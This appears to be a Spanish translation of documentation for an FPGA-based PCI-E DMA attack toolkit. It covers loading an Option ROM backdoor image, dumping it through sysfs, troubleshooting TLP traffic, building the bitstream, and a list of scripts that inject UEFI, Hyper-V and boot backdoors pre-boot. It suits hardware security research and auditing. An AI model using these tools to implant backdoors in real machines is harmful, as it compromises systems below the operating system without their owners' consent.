Durante el desarrollo de código malicioso para ataques DMA previos al arranque, es importante tener información sobre el entorno de ejecución de la fase UEFI DXE. Para recopilar dicha información, puedes encender el ordenador objetivo, entrar en el menú de configuración del BIOS o en el menú de opciones de arranque para pausar la carga del sistema operativo y ejecutar el programa uefi.py sin argumentos. Este programa escaneará la memoria física del ordenador objetivo e imprimirá diversa información sobre los protocolos e interfaces UEFI DXE existentes, los drivers UEFI cargados, las tablas de descriptores UEFI y las tablas ACPI. Aquí puedes ver un ejemplo de la información obtenida por el programa uefi.py al utilizar AAEON UP Squared mini-PC como objetivo del ataque.
El bitstream proporcionado puede emular una Option ROM PCI-E almacenada en la memoria flash lineal integrada del SP605. Aunque las plataformas modernas mitigan los ataques de Option ROM, esta característica aún puede ser útil para fines de auditoría de seguridad o creación de prototipos.
Puedes gestionar las imágenes de Option ROM usando el programa Python pcie_rom_ctl.py.
Borrado del contenido de la Option ROM:```
$ ./pcie_rom_ctl.py --erase
[+] Opening PCI-E device...
[+] Enabling resident mode...
[+] Erasing option ROM...
[+] Done
Cargando el ejemplo de Option ROM UEFI proporcionado en la placa:```
$ ./pcie_rom_ctl.py --load payloads/DmaBackdoorSimple/DmaBackdoorSimple_X64_10ee_1337.rom
[+] Opening PCI-E device...
[+] Enabling resident mode...
[+] Erasing option ROM...
[+] Loading 5120 bytes of option ROM...
[+] Done
También existe una opción para registrar el acceso a la memoria de la option ROM en la UART de depuración de la placa SP605; para habilitar o deshabilitar esta opción, use los parámetros --log-on y --log-off del programa ./pcie_rom_ctl.py.
Para verificar el funcionamiento correcto del soporte de option ROM bajo Linux, puede hacer lo siguiente.
Primero, busque la dirección bus-dispositivo-función del dispositivo PCI-E SP605:```
01:00.0 Ethernet controller: Xilinx Corporation Device 1337
Luego, establezca el bit de habilitación del registro de comandos para que el sistema de destino pase al dispositivo PCI-E todos los intentos de acceso a memoria a los rangos de memoria física de la ROM de opción:```
# echo 1 > /sys/bus/pci/devices/0000\:01\:00.0/enable
# echo 1 > /sys/bus/pci/devices/0000\:01\:00.0/rom
Ahora puedes volcar el contenido de la option ROM cargada previamente con la ayuda del comando dd y el pseudo-archivo correspondiente de sysfs:```
00000000 55 aa 0b 00 f1 0e 00 00 0b 00 64 86 00 00 00 00 |U.........d.....| 00000010 00 00 00 00 00 00 60 00 1c 00 00 00 50 43 49 52 |......`.....PCIR| 00000020 ee 10 37 13 00 00 1c 00 03 00 00 00 0b 00 00 00 |..7.............| 00000030 03 80 00 00 00 00 00 00 ff ff ff ff ff ff ff ff |................| 00000040 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff |................| 00000050 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff |................| 00000060 4d 5a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |MZ..............| 00000070 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000080 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000090 00 00 00 00 00 00 00 00 00 00 00 00 b8 00 00 00 |................| 000000a0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 000000b0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 000000c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
...
En caso de que la opción `--log-on` del programa `pcie_rom_ctl.py` se haya especificado durante la configuración, verá los siguientes mensajes en la consola UART de depuración de la placa SP605 al volcar la ROM de opciones:```
ROM read: size = 2, offset = 0x0
ROM read: size = 2, offset = 0x18
ROM read: size = 4, offset = 0x1C
ROM read: size = 1, offset = 0x31
ROM read: size = 2, offset = 0x2C
ROM read: size = 1, offset = 0x0
ROM read: size = 2, offset = 0x0
ROM read: size = 2, offset = 0x18
ROM read: size = 4, offset = 0x1C
ROM read: size = 1, offset = 0x31
ROM read: size = 2, offset = 0x2C
ROM read: size = 1, offset = 0x1
ROM read: size = 2, offset = 0x0
ROM read: size = 2, offset = 0x18
ROM read: size = 4, offset = 0x1C
ROM read: size = 1, offset = 0x31
ROM read: size = 2, offset = 0x2C
...
PCI Express es un bus de alta velocidad muy complicado, por lo que hay muchas cosas que pueden salir mal. En caso de que el ataque DMA no funcione en tu configuración, puedes verificar las siguientes cosas para determinar el problema exacto:
El LED DS3 está encendido cuando el enlace PCI-E físico está activo y DS4 está encendido cuando el complejo raíz ha asignado la dirección bus-dispositivo-función a nuestro endpoint PCI-E. Si DS3 está apagado, probablemente significa un problema de conectividad física − revisa tus risers, cables, etc. Si DS3 está encendido pero DS4 está apagado, significa que tuviste que reiniciar tu objetivo de ataque o forzar el rescan de dispositivos PCI-E en su lado.
El LED DS5 está encendido durante el reset del bus PCI-E; cuando está siempre encendido, significa un problema de conectividad física.
Si el complejo raíz envía Cpl TLP en lugar de CplD TLP en respuesta a una solicitud de lectura de memoria, significa que el acceso a memoria fue rechazado debido a una dirección inválida o a las comprobaciones de acceso impuestas por IOMMU. Además, una máquina x86 típica podría no responder en absoluto a solicitudes de lectura de memoria dirigidas a ciertas regiones MMIO del espacio de direcciones físicas.
Si el software recibe TLPs inconsistentes o inválidos del complejo raíz en respuesta a las solicitudes de lectura de memoria, puedes intentar establecer un valor más pequeño de la constante MEM_RD_TLP_LEN en pcie_lib.py para dividir los datos de respuesta en fragmentos más pequeños. También es útil ejecutar el programa con la variable de entorno DEBUG_TLP=1 y revisar el volcado de TLPs TX/RX sin procesar.
Instala Xilinx ISE 13.4, que viene con tu placa SP605, y abre el archivo de proyecto s6_pcie_microblaze.xise.
Regenera los cores s6_pcie_v2_4 y fifo_generator_v8_4 que están presentes en la jerarquía del proyecto.
Haz clic en la instancia microblaze_i en la jerarquía del proyecto y ejecuta "Export Hardware Design to SDK With Bitstream".
Cuando la compilación se complete, ISE abre el IDE Xilinx Software Development Kit; usa la carpeta sdk como su espacio de trabajo.
Crea un nuevo paquete de soporte de placa independiente en el árbol de proyectos de tu Xilinx SDK, elige las librerías lwIP y xilflash en la configuración del BSP.
Importa los proyectos sdk/srec_bootloader_0 y sdk/main_0 en el árbol de proyectos y ejecuta la compilación.
Ejecuta make bitstream && make srec desde el símbolo del sistema de Xilinx ISE para generar los archivos de salida necesarios.
Dmytro Oleksiuk (aka Cr4sh)
python/uefi_backdoor_simple.py − Programa de línea de comandos para ataque DMA de pre-arranque que inyecta un controlador UEFI ficticio en la secuencia de arranque de la máquina objetivo.
python/uefi_backdoor_hv.py − Programa de línea de comandos para ataque DMA de pre-arranque que inyecta un backdoor de Hyper-V VM exit handler en la secuencia de arranque del sistema objetivo.
python/uefi_backdoor_boot.py − Programa de línea de comandos para ataque DMA de pre-arranque que inyecta Boot Backdoor en la secuencia de arranque del sistema objetivo.
python/payloads/DmaBackdoorSimple/ − Código fuente del controlador UEFI DXE ficticio para usar con uefi_backdoor_simple.py.
python/payloads/DmaBackdoorHv/ − Código fuente del controlador UEFI DXE para usar con uefi_backdoor_hv.py; implementa la funcionalidad de Hyper-V Backdoor.
python/payloads/DmaBackdoorBoot/ − Código fuente del controlador UEFI DXE para usar con uefi_backdoor_boot.py; implementa la funcionalidad de Boot Backdoor.
SCAN_FROMSCAN_TOSCAN_STEP